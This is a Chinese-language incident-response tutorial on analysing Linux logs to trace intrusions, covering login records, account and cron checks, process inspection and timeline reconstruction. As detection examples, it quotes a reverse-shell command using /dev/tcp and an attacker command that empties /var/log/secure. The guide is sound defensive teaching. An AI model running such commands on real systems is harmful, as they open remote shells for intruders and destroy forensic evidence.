ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

Linux日志分析实战:应急响应中的入侵痕迹排查与攻击链还原

Linux日志分析实战:应急响应中的入侵痕迹排查与攻击链还原

做应急响应这几年,Linux日志分析是我认为性价比最高的一项基本功。接到一台疑似被入侵的服务器,很多人的第一反应是马上去翻/var/log,但翻完往往还是一头雾水——问题不是日志太少,而是不知道每条日志到底在回答什么问题。在玄机平台这类应急响应实训环境里,Linux日志分析也是躲不开的高频考点:攻击者从哪里进来、执行过什么、留下了哪些后门,基本都能在日志里找到答案。

这篇文章不打算系统讲日志理论,而是按我实际排查一台机器的顺序来写:先理清思路,再看日志体系,然后逐条动手查,最后把碎片拼成时间线。无论你是刚入门的安全工程师、需要做主机侧排查的运维同学,还是在靶场里练手的学习者,这套流程可以直接拿着用,覆盖日常应急响应里80%以上的场景。

1. 应急响应的第一步:先理清日志分析在整条链路里的位置

1.1 拿到疑似被入侵的服务器,先别急着翻日志

很多新人拿到环境后的第一个动作就是ls /var/log,然后对着几十个文件发呆。我的习惯是先做三件事:备份证据、确认环境隔离、校准时间基准。

先说备份。日志分析本质上是在残缺的现场里找线索,一旦分析动作本身把日志覆盖了,后面就全白干。我通常先在机器上建一个临时目录,把关键日志打包出来,例如:

mkdir -p /evidence tar czf /evidence/var_log_$(date +%Y%m%d_%H%M%S).tar.gz /var/log

备份完再进入分析阶段。如果条件允许,最好直接做一个磁盘快照或整机镜像,尤其是遇到对抗性很强的攻击者时。然后是隔离,至少要让业务流量不要继续往这台机器上打,避免新日志把关键痕迹冲掉。最后校准时间:执行date、timedatectl,确认服务器时区和当前时间。这一步很关键,后面所有日志时间比对都依赖它,时区错位经常会导致漏判和误判。

在实训靶场里,平台往往会给出“事件发生时间”之类的提示,这个锚点比你自己翻日志猜出来的时间可靠得多。先用它把时间窗口框住,再去做定向排查。

1.2 从攻击链反推:每条日志回答什么问题

日志文件很多,但应急响应里我们需要回答的问题其实很固定:攻击者是怎么进来的、进来之后做了什么、现在还在不在。把这三个问题拆开,就对应到攻击链上的不同阶段。

攻击阶段核心日志要回答的问题
初始访问secure/auth.log、应用日志从哪个IP、哪个账号进来的?
权限提升sudo日志、history是否用了提权操作?
持久化crontab、启动项、ssh公钥留下了什么后门?
命令执行bash_history、进程日志执行了哪些命令、下载了什么?
横向移动登录尝试、网络连接有没有扫内网、连过其他机器?

这张表是我做排查时的“问题清单”。看到一条日志先问它属于哪个阶段,再决定值不值得深挖。比如在secure日志里看到大段Failed password,第一反应是暴力破解,但真正需要重点关注的反而是在一堆失败之后偶尔出现的那条Accepted,那很可能就是攻击者成功入场的瞬间。

顺序也很重要。我一般先把“登录记录”和“账号文件时间戳”这种最容易被记录也最难被彻底清理的痕迹查完,再去查进程、文件这种“活着才能看到”的动态痕迹。因为进程会死、文件会被删,但日志一旦落盘,除非攻击者专门清,否则会长时间留着。

2. 先把Linux日志体系吃透,再动手查

2.1 日志文件到底都在记什么

Linux日志并不复杂,核心文件就那么几个,关键是知道每个文件对应哪类事件。这里以最常见的RHEL/CentOS系和Debian/Ubuntu系做对照。

文件路径记录内容读取方式
/var/log/secure(CentOS)登录认证、sudo授权、sshd事件cat/grep/less
/var/log/auth.log(Debian/Ubuntu)同secure,认证相关cat/grep/less
/var/log/messages系统级消息、多数服务运行日志cat/grep/less
/var/log/wtmp有效登录记录last
/var/log/btmp失败登录记录lastb
/var/log/lastlog每个用户最后登录时间lastlog
/var/log/croncrond执行记录cat/grep/less
/var/log/audit/audit.log内核审计事件(如果开启)ausearch/aureport

有两个容易踩的坑。第一,wtmp、btmp、lastlog是二进制文件,直接cat会看到乱码,必须用last、lastb、lastlog来读。第二,不同发行版路径不同,分析前先确认系统类型。比如我接到一台Ubuntu服务器,习惯性去翻secure,发现文件不存在,才反应过来应该看auth.log,这个低级错误在紧张排查时很容易犯。

2.2 时间基准和日志轮转:你看到的“缺失”可能不是被删了

日志轮转(logrotate)是排查时必须理解的一个机制。系统默认会按天或按大小对日志进行切割,老日志被重命名为secure.1、secure.2,再老的可能被gzip压缩成secure.2.gz。这带来两个影响。

第一个影响:你看到的“日志缺失”可能只是正常的轮转,而不是攻击者清理。比如今天5号,你要查3号的记录,直接看secure是不全的,得去翻secure.1甚至更早的归档。分析时用grep加通配符是基本操作:

grep "Accepted" /var/log/secure* zcat /var/log/secure.2.gz | grep "Accepted"

第二个影响:攻击者即使清掉了当前日志,轮转留下的老文件里仍然可能保留了关键痕迹。我遇到过一台被入侵的机器,攻击者用echo > /var/log/secure把当前文件清空了,但secure.1里完整记录了他前一天的Accepted登录和后续的sudo操作,照样拼出了整条攻击链。所以看到日志文件大小异常小、内容为空、mtime异常新的时候,第一时间去检查轮转归档,往往有惊喜。

2.3 哪些日志可信,哪些日志必须先校验

日志分析有个前提:你得先判断手上的日志有没有被动过手脚。有经验的攻击者在撤离前会清理痕迹,常见手法包括清空secure、删除wtmp、抹掉bash_history,甚至替换系统命令来隐藏进程。

我一般用stat查看关键日志文件的修改时间。一个正常的secure文件,mtime应该接近当前时间,因为系统每时每刻都在写。如果mtime比当前时间早了好几天,说明日志可能被停止写入;反过来,如果当前文件的mtime异常新,而里面内容又很少,多半是被重建过。再看文件大小,长期0字节的secure极不正常。

还有一个容易被忽略的点:日志是可以伪造的。攻击者如果拿到了root权限,完全可以手动往日志里塞假记录,或者使用touch修改文件时间戳。所以我在做结论时不会只依赖单一日志来源,而是要求至少两个独立证据互相印证,比如secure日志里的Accepted记录和wtmp里last的输出能对应上,或者文件和日志的时间戳能对得上,这才敢下结论。

3. 实战操作:用命令把入侵痕迹一条条挖出来

3.1 登录痕迹:从last、lastb、secure日志还原谁来过

登录日志永远是排查的第一站,因为绝大多数入侵都离不开登录这个动作。

先看有效登录:

last -a -n 50 last -f /var/log/wtmp.1 | head -50

last读的是wtmp,显示所有成功登录会话。如果有攻击者直接从内网或跳板机器登录过来,这里能看到来源IP、登录时间和持续时长。注意-a选项会把IP或主机名显示在最后一列,方便直接抓IP。

再看失败登录:

lastb -a | head -50

lastb读btmp,展示暴力破解痕迹。如果机器暴露在公网上,这里通常会有成百上千条失败记录,不要被噪音干扰,重点是找有没有在某个时间点突然出现的大量失败,以及穿插在其中的成功记录。

然后是文本日志的精确定位:

grep "Accepted password" /var/log/secure* | awk '{print $1,$2,$3,$9,$11}' grep "Failed password" /var/log/secure* | grep -oE "from [0-9]+\.[0-9]+\.[0-9]+\.[0-9]+" | awk '{print $2}' | sort | uniq -c | sort -nr

第一行提取成功登录的用户名和来源IP,第二行把所有失败登录的来源IP按次数排序。失败次数最多的IP不一定是攻击者,也可能是扫描器或监控系统,但它值得进你的重点关注名单。

实操中有个细节:日志字段的位置不是固定的。不同发行版、不同sshd配置,打印出来的线程名、端口可能有细微差异。我通常先tail -5 /var/log/secure看一行原始格式,确认第几列是用户、第几列是IP,再写awk,避免批量提取出来全是错位的数据。

3.2 账号与权限:检查passwd、shadow、sudoers里的异常

攻击者拿到权限后,最常见动作是创建一个新账号留后门,或者直接修改已有账号的权限。检查账号异常有几个固定姿势。

# 查找UID为0的非root账号 awk -F: '$3==0{print $1" uid="$3" shell="$7}' /etc/passwd # 查找拥有登录shell的非root账号 grep -vE "/sbin/nologin|/bin/false" /etc/passwd # 查看passwd和shadow的修改时间 ls -l /etc/passwd /etc/shadow /etc/sudoers

UID为0的账号拥有和root完全一样的权限,这是典型的权限维持手段。我在实训环境里就见过添加一个叫“syncd”的账号、UID设成0、shell设为/bin/bash的例子,光是看账号名根本不会怀疑。

拥有登录shell的账号列表也值得过一遍。正常服务器上,除了root和运维账号外,绝大多数系统账号都应该是nologin或false。如果发现一个陌生的普通账号shell是/bin/bash,而且passwd文件的修改时间正好在攻击窗口内,基本可以锁定。

还要看两样东西:sudoers和ssh公钥。

cat /etc/sudoers ls -la /etc/sudoers.d/ cat /root/.ssh/authorized_keys

把普通用户加进sudoers,或者往root的authorized_keys里塞一把公钥,都是极隐蔽的后门方式。这些操作通常不会在日志里留下明显痕迹,只能靠文件内容比对和修改时间来判断。

3.3 命令痕迹:history、crontab、bashrc背后藏着的执行链

入侵者登录后干了什么,主要靠历史命令和计划任务来还原。

cat /root/.bash_history | tail -100 ls -la /home/*/.bash_history

history是最直观的命令执行记录,也最容易被人为清除。如果发现root的history文件为空或只有少量记录,而正常运维操作又比较多,可以怀疑被清理过。处理后门的时候,攻击者往往会留下连续的几行:下载脚本→加执行权限→运行→删文件,这种命令序列的特征非常明显。

计划任务是持久化后门的高发地,需要检查的位置有四个:

crontab -l -u root cat /etc/crontab ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/ ls -la /var/spool/cron/

重点看有没有新出现的定时任务,尤其是执行curl/wget下载、base64解码、写入/tmp或/dev/shm的任务。我见过一个挖矿木马,把自己写成每隔5分钟从某个域名拉取脚本执行的计划任务,文件名叫“syslog”,混在一堆正常的系统任务里,不仔细看根本发现不了。

另外还要留心shell启动文件,包括/etc/profile、/etc/bashrc、~/.bashrc、~/.bash_profile,攻击者会把恶意命令塞在这些文件里,实现每次登录自动执行。检查时不用通读全部内容,主要看有没有外连、下载、执行加密字符串之类的操作。

3.4 进程、网络连接与文件落点:站在“现在”往前推

日志回答的是“过去发生了什么”,而进程和网络连接回答的是“攻击者现在还在不在”。这两部分可以交替进行。

ps aux --sort=-%cpu | head -20 ss -antup

ps先看CPU占用最高的进程。挖矿木马的特征是CPU长期接近满载,进程名可能伪装成“kworker”或者“python”,但真实路径往往在/tmp、/dev/shm这类目录下。ss看网络连接,重点关注外部连接,尤其是连接到不常见端口的ESTABLISHED连接。

遇到可疑进程,不要只凭名字判断,用这两个命令看真实路径:

ls -l /proc/PID/exe cat /proc/PID/cmdline | tr '\0' ' '

第一个命令会显示进程可执行文件的真实路径,凡是路径在/tmp、/dev/shm、/var/tmp下的进程,基本可以断定有问题。第二个命令展示完整的启动参数,反向shell的特征非常明显,例如bash -i >& /dev/tcp/IP/端口 0>&1。

文件落点方面,攻击者下载或释放的恶意文件最喜欢放在/tmp、/var/tmp、/dev/shm这三个用户可写目录。按修改时间找最近的异常文件:

find /tmp /var/tmp /dev/shm -type f -mtime -7 -ls 2>/dev/null

再用file命令批量识别格式,比如一个伪装成图片的文件实际上是二进制可执行程序,那就很有问题了。

4. 把碎片拼成时间线:从单条日志到完整攻击画像

4.1 用“事件时间线”驱动后续排查

排查进行到中段时,手里会积累大量零散的线索:一条日志、一个账号、一个文件、一个进程。如果一条条去记,很容易漏掉关键关联。我习惯建一张事件时间线表,把每个发现按时间顺序填进去。

时间来源IP目标/账号日志来源事件描述证据文件
02:12:33203.0.113.5root/var/log/secure连续3次Failed passwordsecure.1
02:15:01203.0.113.5root/var/log/secureAccepted passwordsecure.1
02:16:20203.0.113.5root/root/.bash_historywget下载脚本到/tmpbash_history
02:17:44--/var/spool/cron/root新增定时任务cron文件

表格一旦填完,攻击路径就自然浮出水面:先爆破,再成功登录,然后下载恶意文件,最后建立计划任务持久化。整个过程一目了然,后续不管是写报告还是做处置,都围绕这张表展开。

实操中我会把时间线放在一个单独的文件里,边排查边补充。即使中途被其他事情打断,回来也能快速接上上下文。

4.2 攻击源、攻击手法与影响范围如何定性

时间线拼完后,需要对三个维度做定性判断。

攻击源:登录日志里提取的IP,要进入上下文判断。是单纯扫描器,还是有明确针对性的攻击?同一个IP有没有在失败记录和成功记录里反复出现?攻击者有没有通过多级跳板来隐藏真实位置?

攻击手法:从日志特征反推。大量Failed password加偶尔的Accepted,说明是暴力破解;通过web服务日志里的畸形请求进入,更像漏洞利用;多台机器同时出现相同定时任务,则有可能是供应链或自动化脚本在批量传播。

影响范围:不要只盯着当前这台机器。查看攻击者的横向移动痕迹,是否有从本机向外发起的SSH连接,是否尝试扫描内网网段,同一批IP有没有出现在其他主机的日志里。我在一次处置中就遇到攻击者拿到一台机器权限后,用它作为跳板批量扫描内网的情况,幸好当时保留了sshd日志和进程连接记录,才把横向移动的范围完整还原出来。

定性的价值在于决定处置动作:封禁IP、杀进程、清理定时任务是一回事,修改弱口令、给web服务打补丁、排查同类配置的主机是另一回事。

4.3 输出一份能落地的应急报告(要点)

报告不需要花哨,但每个结论都要有日志当依据。一份合格的应急响应报告通常包含这些内容:

  • 事件概述:什么时间、在哪台机器、发现什么问题
  • 攻击时间线:时间、来源IP、目标账号、事件类型
  • 关键证据:日志原文、命令执行记录、恶意文件hash
  • 影响范围:受害机器数量、受影响账号、数据泄露风险
  • 处置建议:短期如何止血(封IP、杀进程、删账号),长期如何修复(改密码、补漏洞、优化日志策略)

写报告时有两点提醒。第一,每条结论务必附上证据来源,类似“2024-06-10 02:15:01来自203.0.113.5的root登录成功,见/var/log/secure.1第182行”,这样别人复核时能快速定位;第二,区分“已确认事实”和“疑似情况”,不要用猜测冒充结论,宁可标注待确认也不要让报告误导决策。

5. 效率技巧、工具组合与常见坑

5.1 一套可复制的命令组合(直接抄)

我把日常排查中最常用的命令整理成一个组合,按顺序执行就能覆盖主机侧的主要排查面。以CentOS系为例:

# 1. 登录痕迹 last -a -n 50 lastb -a -n 50 grep -E "Accepted|Failed" /var/log/secure* | grep -oE "(Accepted|Failed).*" | sort | uniq -c | sort -nr | head -40 # 2. 账号异常 awk -F: '$3==0{print $1}' /etc/passwd grep -vE "/sbin/nologin|/bin/false" /etc/passwd ls -la /root/.ssh/ # 3. 计划任务、启动项 ls -la /etc/cron.d/ /var/spool/cron/ /etc/systemd/system/ 2>/dev/null systemctl list-unit-files --state=enabled | head -50 # 4. 动态痕迹 ps aux --sort=-%cpu | head -25 ss -antup find /tmp /var/tmp /dev/shm -type f -mtime -7 -ls 2>/dev/null

这套命令输出比较多,不要只是跑一遍,每一条都要对照上面的思路去解读。如果是在急救场景下,我建议先跑第1和第4组,因为登录痕迹和当前活动进程最紧急,账号和计划任务可以随后再看。

5.2 高频问题速查表

现象可能原因排查方向
/var/log/secure被清空或为空攻击者清理痕迹看轮转档、检查history、对比文件mtime
CPU飙高、进程名伪装成系统进程挖矿木马看/proc/PID/exe真实路径、检查crontab
出现陌生UID 0账号权限提升后门看passwd修改时间、检查sudoers
存在大量出网连接反连shell或C2用ss找连接进程、看启动参数
网络连接无异常但业务被篡改Web层面被入侵看web日志、检查nginx/apache访问记录

这张表是我处理过的典型场景的浓缩。出现表里某个现象时,直接跳到对应排查方向,能省下不少试错时间。

5.3 我在实战里踩过的几个坑

第一个坑:在未经备份的机器上直接跑修改类命令。早期做排查时,仗着只是简单清理了一下临时目录,结果命令参数写错,把整个/tmp下的文件全删了,里面恰好有攻击者留下的唯一一份恶意脚本样本。从那以后,任何排查都先只读分析,确认需要取证时再做镜像或备份。

第二个坑:日志时区判断错误。有次分析远程服务器的日志,本地和服务器存在时差,我用本机时间去找对应时间点的记录,怎么都对不上。后来才发现服务器是UTC,所有日志比北京时间慢8个小时。现在接手机器我第一件事就是确认时区和当前时间,并把换算关系写在分析文档首页。

第三个坑:只想查“现在”,忽略历史归档。有台机器当前进程和网络完全干净,但业务曾出现过异常,我查了半天没发现。后来翻到/var/log/messages的轮转归档,找到一条在事件窗口内被下载执行的记录,才最终定位到问题根源。应急响应查的不只是攻击者是否还在,更要还原攻击者曾经做了什么。

第四个坑:把正常运维操作当成攻击行为排查到底。比如每周固定时段的数据库备份、监控脚本调用、运维跳板机的定期登录,都可能在日志里留下和攻击行为相似的特征。处理这类噪音没有捷径,只能靠持续观察同一台主机在不同时间段的日志规律,或者和运维团队确认固定任务,才能在噪音中快速锁定真正的异常。

最后再分享一个个人习惯

日志分析做多了,我最大的体会是:攻击者清日志的手法来来去去就那么几种,真正难的是在成千上万条正常日志里找出一条异常,再顺着这条线把整条链拼完整。所以我现在做应急响应时会顺手做一件事:建议把关键日志通过rsyslog转发到独立的日志服务器,至少保证登录、计划任务、用户变更这些高价值事件有异地副本。这样即使主机被彻底清理,日志服务器上依然留着原始证据。

顺带说一句,如果是在实训环境里做练习,建议把每次分析的时间线都保存下来,做完以后对比官方的预期答案,看自己在哪个环节漏掉了关键证据。这种复盘比刷十套题都管用。日志分析说到底是个细心活,它不是在机械地翻文件,而是在跟攻击者比拼耐心和细节。

RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进